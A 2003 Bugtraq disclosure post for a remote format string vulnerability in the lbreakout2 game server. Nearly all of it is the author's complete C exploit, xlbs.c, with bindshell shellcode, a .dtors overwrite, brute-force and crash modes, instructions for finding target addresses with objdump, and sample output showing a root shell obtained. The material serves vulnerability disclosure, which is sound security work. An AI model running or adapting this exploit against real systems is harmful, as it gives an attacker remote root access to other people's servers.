[<prev] [next>] [day] [month] [year] [list]
Message-ID: <20030624083655.24256.qmail@www.securityfocus.com>
Date: 24 Jun 2003 08:36:55 -0000
From: Vade 79 <v9@...ehalo.deadpig.org>
To: bugtraq@...urityfocus.com
Subject: lbreakout2server[v2-2.5+]: remote format string exploit.
this exploits lbreakout2server[v2-2.5+], the new one.
the exploit header explains most of it. i made a
function to find the pop/memory location on the server.
since this is a bit much work manually: you can only
see 1-2 returns at a time, and need to know the server
code dealios. the example usage will show that. also,
this is not forked. so, if you crash it, you're SOL.
(still note, this will NOT work out of the box, without
the proper address locations. the exploit comments
explain how to get these addresses. also, the server
will probably not be ran as root, or shouldn't be. i
just run everything as root when i am testing :/)
-------------------- example usage --------------------
[v9@...alhost v9]$ cc xlbs.c -o xlbs
[v9@...alhost v9]$ ./xlbs -h localhost -g
[*] lbreakout[2-2.5+]: remote format string exploit.
[*] by: vade79/v9 v9@...ehalo.deadpig.org (fakehalo)
NOTE: i did not add the command to disconnect the user.
so, you have to wait roughly a minute before each user
(format string placed as a user) times out. basically,
wait a minute in-between using it. also, the packets may
or may not come back in order. (or come back at all)
[*] finding pop value: localhost:8000.
1: (false) 8049b55
2: (false) 80812c0
3: (false) 80860e8
4: (false) 0
5: (false) ffffffff
6: (false) bffffa20
7: (false) 3b238
8: (false) bffffa38
9: (false) 804c906
10: (false) bffffa20
11: (false) 3b491
12: (false) bffffa38
13: (false) 804c950
14: (true) 78787878
[*] the pop value is: 14.
[v9@...alhost v9]$ ./xlbs -h localhost -t 1 -P 14 -b
[*] lbreakout[2-2.5+]: remote format string exploit.
[*] by: vade79/v9 v9@...ehalo.deadpig.org (fakehalo)
target=localhost:8000 pops=14 dtors=0x0805b170(+0) ret=0x0807ca88(+0)
[*] sending code buffer. (net_buffer)
[*] sending format string, new .dtors.
[*] attempting to connect: localhost:12800.
[!] connection failed: localhost:12800.
target=localhost:8000 pops=14 dtors=0x0805b170(+4) ret=0x0807ca88(+0)
[*] sending code buffer. (net_buffer)
[*] sending format string, new .dtors.
[*] attempting to connect: localhost:12800.
[!] connection failed: localhost:12800.
target=localhost:8000 pops=14 dtors=0x0805b170(+8) ret=0x0807ca88(+0)
[*] sending code buffer. (net_buffer)
[*] sending format string, new .dtors.
[*] attempting to connect: localhost:12800.
[!] connection failed: localhost:12800.
target=localhost:8000 pops=14 dtors=0x0805b170(+12) ret=0x0807ca88(+0)
[*] sending code buffer. (net_buffer)
[*] sending format string, new .dtors.
[*] attempting to connect: localhost:12800.
[!] connection failed: localhost:12800.
target=localhost:8000 pops=14 dtors=0x0805b170(+16) ret=0x0807ca88(+0)
[*] sending code buffer. (net_buffer)
[*] sending format string, new .dtors.
[*] attempting to connect: localhost:12800.
[!] connection failed: localhost:12800.
target=localhost:8000 pops=14 dtors=0x0805b170(+20) ret=0x0807ca88(+0)
[*] sending code buffer. (net_buffer)
[*] sending format string, new .dtors.
[*] attempting to connect: localhost:12800.
[!] connection failed: localhost:12800.
target=localhost:8000 pops=14 dtors=0x0805b170(+24) ret=0x0807ca88(+0)
[*] sending code buffer. (net_buffer)
[*] sending format string, new .dtors.
[*] attempting to connect: localhost:12800.
[*] successfully connected: localhost:12800.
Linux localhost.localdomain 2.4.2-2 #1 Sun Apr 8 20:41:30 EDT 2001 i686
unknown
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6
(disk),10(wheel)
-------------------- exploit: xlbs.c --------------------
/*[ lbreakout[2-2.5+]: remote format string exploit. ]*
* (only v2-2.5-beta1, or greater versions affected) *
* by: vade79/v9 v9@...ehalo.deadpig.org (fakehalo) *
* *
* lbreakout(2) is a common SDL game included, in at *
* least packaged form for many linux distributions. *
* it can be found on: *
* http://www.freshmeat.net/projects/lbreakout *
* http://lgames.sourceforge.net *
* *
* there exists multiple format string bugs within *
* both the client, and the server. these bugs are *
* in the form of snprintf(buf1,len,buf2); *
* *
* this exploit takes advantage of the initial *
* login request, found in server/server.c: *
* 446:snprintf( name, 20, msg_read_string() ); *
* (the size limit(20) does not make a difference) *
* *
* the shellcode is placed in net_buffer(1024), in *
* memory. which is used for all initial udp socket *
* reading, but is not cleared. so, the exploit *
* works like so: send shellcode(1024 bytes). then, *
* send the format string buffer(64 bytes). so, the *
* events look like: *
* *
* first packet: *
* [1024 bytes (nops+shellcode)] *
* second packet: *
* [64 bytes (format string)] *
* so, net_buffer(1024) will look like: *
* [64 bytes][960 bytes (original shellcode)] *
* (only thing the format string buffer overwrites *
* are nops) *
* *
* if you want to add to the platform list, simply *
* do as followed: *
* ./xlbs -h <hostname> -g *
* *
* take the "(true)" pop value given. now you have *
* the pop value to use. *
* *
* then, do: objdump -sj.dtors \ *
* /path/to/lbreakout2server *
* *
* then, take the address given, and add 4 bytes. *
* now you have the .dtors address to use. *
* *
* then, do: objdump -x /path/to/lbreakout2server | \ *
* grep net_buffer | grep -v cur_size *
* *
* then, take the address given, and add ~200 bytes. *
* now you have the return address to use. add ~200 *
* bytes because it's a shared buffer, and can get *
* overwritten by other users, or yourself. it's *
* not likely for a legit packet to be over ~200 *
* bytes. the minimum is +64(FMTSIZE) bytes. *
* *
* i recommend when testing this exploit, using the *
* brute force option. ie: "./xlbs -h host.com -b", *
* or using an offset of 24("-d 6"), for .dtors. *
* *
* also, for when lbreakout2server/lbreakout2 is *
* setgid games. the -D, and -a command line *
* arguments both use the same snprintf() method. *
* which can also be exploited locally. *
******************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <getopt.h>
#include <signal.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#define CODESIZE 1024 /* 1024 = net_buffer size. */
#define FMTSIZE 64 /* format buffer size. */
#define TIMEOUT 10 /* socket timeouts. */
static char x86_exec[]= /* bindshell(12800), netric. */
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x51"
"\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51\x8d\x0c\x24\xcd"
"\x80\xb3\x02\xb1\x02\x31\xc9\x51\x51\x51\x80\xc1\x32"
"\x66\x51\xb1\x02\x66\x51\x8d\x0c\x24\xb2\x10\x52\x51"
"\x50\x8d\x0c\x24\x89\xc2\x31\xc0\xb0\x66\xcd\x80\xb3"
"\x01\x53\x52\x8d\x0c\x24\x31\xc0\xb0\x66\x80\xc3\x03"
"\xcd\x80\x31\xc0\x50\x50\x52\x8d\x0c\x24\xb3\x05\xb0"
"\x66\xcd\x80\x89\xc3\x31\xc9\x31\xc0\xb0\x3f\xcd\x80"
"\x41\x31\xc0\xb0\x3f\xcd\x80\x41\x31\xc0\xb0\x3f\xcd"
"\x80\x31\xdb\x53\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62"
"\x69\x89\xe3\x8d\x54\x24\x08\x31\xc9\x51\x53\x8d\x0c"
"\x24\x31\xc0\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";
struct platform {
unsigned int pops;
unsigned long dtors_addr;
unsigned long ret_addr;
};
struct platform target[]={
/* { pops,(.dtors addr+4),(net_buffer addr+200). } */
/* 2-2.5-beta1 source, on redhat7.1. */
{ 14,(0x805b0ec+4),(0x0807c940+200) },
/* 2-2.5-beta2 source, on redhat7.1. */
{ 14,(0x805b16c+4),(0x0807c9c0+200) },
/* put more platforms here. */
{ 0,0,0 }
};
unsigned short pt=0; /* default platform. */
char *send_packet(char *,unsigned short,char *,
unsigned int,unsigned short);
char *getfmt(int,int,unsigned int);
char *getcode(void);
void getshell(char *,unsigned short);
void getpops(char *hostname,unsigned short port);
void sendcode(char *,unsigned short,int,int,
unsigned int);
void printe(char *,short);
void usage(char *);
void sig_alarm(){printe("alarm signal/timeout",1);}
int main(int argc,char **argv){
unsigned short port=8000; /* default. */
unsigned short getpop=0;
unsigned short brute=0;
unsigned short crash=0;
int doffset=0;
int roffset=0;
int pops=0;
int chr=0;
char *hostname=0;
while((chr=getopt(argc,argv,"t:h:p:d:r:P:gbc"))!=EOF){
switch(chr){
case 't':
/* change this if more platforms are added. */
if(atoi(optarg)<0||atoi(optarg)>1)
usage(argv[0]);
pt=atoi(optarg);
break;
case 'h':
if(!hostname&&!(hostname=(char *)strdup(optarg)))
printe("main(): allocating memory failed",1);
break;
case 'p':
port=atoi(optarg);
break;
case 'd':
doffset=(atoi(optarg)*4);
break;
case 'r':
roffset=atoi(optarg);
break;
case 'P':
pops=atoi(optarg);
break;
case 'g':
getpop=1;
break;
case 'b':
brute=1;
break;
case 'c':
crash=1;
break;
default:
usage(argv[0]);
break;
}
}
if(!hostname)
usage(argv[0]);
printf(
"[*] lbreakout[2-2.5+]: remote format string exploit"
".\n[*] by: vade79/v9 v9@...ehalo.deadpig.org (fakeh"
"alo)\n\n");
if(getpop){
getpops(hostname,port);
exit(0);
}
else if(crash){
/* this can sometimes help to activate the code. */
printf("[*] sending server crash code.\n");
/* login(name,pwd) buffer prefix, pwd is ignored. */
send_packet(hostname,port,"\x00\x00\x00\x00\x00\x00"
"\x00\x00\x03\x04%n",12,0);
}
else{
if(brute){
for(doffset=0;doffset<444;doffset+=4)
sendcode(hostname,port,doffset,roffset,pops);
printf("[!] brute force failed.\n");
}
else
sendcode(hostname,port,doffset,roffset,pops);
}
exit(0);
}
char *send_packet(char *hostname,unsigned short port,
char *data,unsigned int len,unsigned short getreply){
int u;
unsigned char *buf;
struct hostent *he;
struct sockaddr_in sa;
u=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP);
sa.sin_family=AF_INET;
sa.sin_port=htons(port);
if((sa.sin_addr.s_addr=inet_addr(hostname))){
if(!(he=gethostbyname(hostname))){
printe("send_packet(): couldn't resolve",0);
return("(NULL)");
}
memcpy((char *)&sa.sin_addr,(char *)he->h_addr,
sizeof(sa.sin_addr));
}
/* magic udp connection. */
connect(u,(struct sockaddr *)&sa,sizeof(sa));
write(u,data,len);
if(getreply){
if(!(buf=(char *)malloc(512+1)))
printe("send_packet(): allocating memory failed",1);
memset(buf,0x0,(512+1));
if(read(u,buf,512)<1){
close(u);
return("(NULL)");
}
close(u);
return(buf);
}
close(u);
return("(NULL)");
}
char *getfmt(int doff,int roff,unsigned int pop){
unsigned int addrl,addrh;
unsigned int pops=(pop?pop:target[pt].pops);
unsigned long dtors=(target[pt].dtors_addr+doff);
unsigned long addr=((target[pt].ret_addr+roff)-1);
char *buf;
char taddr[3];
taddr[0]=(dtors&0xff000000)>>24;
taddr[1]=(dtors&0x00ff0000)>>16;
taddr[2]=(dtors&0x0000ff00)>>8;
taddr[3]=(dtors&0x000000ff);
addrh=(addr&0xffff0000)>>16;
addrl=(addr&0x0000ffff);
if(!(buf=(char *)malloc(FMTSIZE+1)))
printe("getfmt(): allocating memory failed",1);
memset(buf,0x0,(FMTSIZE+1));
/* login(name,pwd) buffer prefix, pwd is ignored. */
memcpy(buf,"\x00\x00\x00\x00\x00\x00\x00\x00\x03\x04"
,10);
if(addrh<addrl)
sprintf(buf+10,
"%c%c%c%c%c%c%c%c" /* -8 bytes. */
"%%.%dd%%%d$hn"
"%%.%dd%%%d$hn",
taddr[3]+2,taddr[2],taddr[1],taddr[0],
taddr[3],taddr[2],taddr[1],taddr[0],
(addrh-8),pops,(addrl-addrh),(pops+1));
else
sprintf(buf+10,
"%c%c%c%c%c%c%c%c" /* -8 bytes. */
"%%.%dd%%%d$hn"
"%%.%dd%%%d$hn",
taddr[3]+2,taddr[2],taddr[1],taddr[0],
taddr[3],taddr[2],taddr[1],taddr[0],
(addrl-8),(pops+1),(addrh-addrl),pops);
return(buf);
}
char *getcode(void){
char *buf;
if(!(buf=(char *)malloc(CODESIZE+1)))
printe("getcode(): allocating memory failed",1);
memset(buf,0x90,(CODESIZE-strlen(x86_exec)));
memcpy(buf+(CODESIZE-strlen(x86_exec)),x86_exec,
strlen(x86_exec));
return(buf);
}
void getshell(char *hostname,unsigned short port){
int sock,r;
fd_set fds;
char buf[4096];
struct hostent *he;
struct sockaddr_in sa;
if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))
==-1){
printe("getshell(): socket() failed",0);
return;
}
sa.sin_family=AF_INET;
if((sa.sin_addr.s_addr=inet_addr(hostname))){
if(!(he=gethostbyname(hostname))){
printe("couldn't resolve",0);
return;
}
memcpy((char *)&sa.sin_addr,(char *)he->h_addr,
sizeof(sa.sin_addr));
}
sa.sin_port=htons(port);
/* i'm a lazy man, sometimes. */
signal(SIGALRM,sig_alarm);
alarm(TIMEOUT);
printf("[*] attempting to connect: %s:%d.\n",
hostname,port);
if(connect(sock,(struct sockaddr *)&sa,sizeof(sa))){
printf("[!] connection failed: %s:%d.\n",
hostname,port);
return;
}
alarm(0);
printf("[*] successfully connected: %s:%d.\n\n",
hostname,port);
signal(SIGINT,SIG_IGN);
write(sock,"uname -a;id\n",13);
while(1){
FD_ZERO(&fds);
FD_SET(0,&fds);
FD_SET(sock,&fds);
if(select(sock+1,&fds,0,0,0)<1){
printe("getshell(): select() failed",0);
return;
}
if(FD_ISSET(0,&fds)){
if((r=read(0,buf,sizeof(buf)))<1){
printe("getshell(): read() failed",0);
return;
}
if(write(sock,buf,r)!=r){
printe("getshell(): write() failed",0);
return;
}
}
if(FD_ISSET(sock,&fds)){
if((r=read(sock,buf,sizeof(buf)))<1)
exit(0);
write(1,buf,r);
}
}
close(sock);
return;
}
/* rough/dirty, but accurate. sends login(format) */
/* request is: "xxxx[1 char packet identity][%x]." */
void getpops(char *hostname,unsigned short port){
unsigned int pops=0;
char orig[4+1];
char match[8+1];
char *buf;
unsigned char *reply; /* for %d of reply[17]. */
if(!(buf=(char *)malloc(FMTSIZE+1)))
printe("getpops(): allocating memory failed",1);
printf("NOTE: i did not add the command to disconnec"
"t the user.\nso, you have to wait roughly a minute "
"before each user\n(format string placed as a user) "
"times out. basically,\nwait a minute in-between us"
"ing it. also, the packets may\nor may not come bac"
"k in order. (or come back at all)\n\n");
printf("[*] finding pop value: %s:%d.\n\n",hostname,
port);
while(pops++<255){
memset(buf,0x0,(FMTSIZE+1));
memcpy(buf,"\x00\x00\x00\x00\x00\x00\x00\x00\x03\x04"
,10);
/* 37=0x25='%' will get processed as a format. */
if(pops==37)
sprintf(buf+10,"xxxx%c%c%%%d$x%cunused%c",pops,
pops,pops,0x0,0x0);
else
sprintf(buf+10,"xxxx%c%%%d$x%cunused%c",pops,
pops,0x0,0x0);
reply=(char *)send_packet(hostname,port,buf,
FMTSIZE,1);
/* proof of packet reply desired. */
memset(orig,0x0,4+1);
sprintf(orig,"%.4s",(reply+13));
/* want this to be 78787878. (xxxx) */
memset(match,0x0,8+1);
sprintf(match,"%.8s",(reply+18));
/* make sure its the packet desired. */
if(strlen(match)&&strlen(orig)&&
!strcmp("xxxx",orig)){
if(!strcmp("78787878",match)){
printf("%d:\t(true)\t%s\n",reply[17],match);
printf("\n[*] the pop value is: %d.\n",pops);
return;
}
else
printf("%d:\t(false)\t%s\n",reply[17],
strlen(match)?match:"(no data)");
}
usleep(100000); /* pace it. */
}
printf("\n[!] pop location find failed.\n");
return;
}
void sendcode(char *hostname,unsigned short port,
int doff,int roff,unsigned int pops){
printf("\ntarget=%s:%d pops=%d dtors=0x%.8lx(+%d)"
" ret=0x%.8lx(+%d)\n\n",hostname,port,(pops?pops:
target[pt].pops),target[pt].dtors_addr,doff,
target[pt].ret_addr,roff);
printf("[*] sending code buffer. (net_buffer)\n");
send_packet(hostname,port,getcode(),CODESIZE,0);
sleep(1); /* needs to be done in order. */
printf("[*] sending format string, new .dtors.\n");
send_packet(hostname,port,getfmt(doff,roff,pops),
FMTSIZE,0);
sleep(1); /* give it some time to set in. */
getshell(hostname,12800); /* defined in shellcode. */
return;
}
void printe(char *err,short e){
printf("[!] error: %s.\n",err);
if(e)
exit(1);
return;
}
void usage(char *name){
printf(
"[*] lbreakout[2-2.5+]: remote format string exploit"
".\n[*] by: vade79/v9 v9@...ehalo.deadpig.org (fakeh"
"alo)\n\n usage: %s [options] -h hostname\n\n option"
"s:\n -t <number>\tdefines the platform value.\n -"
"h <string>\tdefines the hostname/ip to connect to."
"\n -p <number>\tdefines the port to connect to.\n "
" -d <number*4>\tdefines the offset to use. (dtors_a"
"ddr)\n -r <number>\tdefines the offset to use. (re"
"t_addr)\n -P <number>\tdefines alternate pop value"
" to use.\n -g\t\tdefines pop finder mode.\n -b\t"
"\tdefines brute force mode.\n -c\t\tdefines server"
" crash mode.\n\n platforms:\n 0\t\tlbreaout2server"
" v2-2.5beta1-src on RedHat 7.1. (default)\n 1\t\tl"
"breaout2server v2-2.5beta2-src on RedHat 7.1.\n\n",
name);
exit(0);
}
Powered by blists - more mailing lists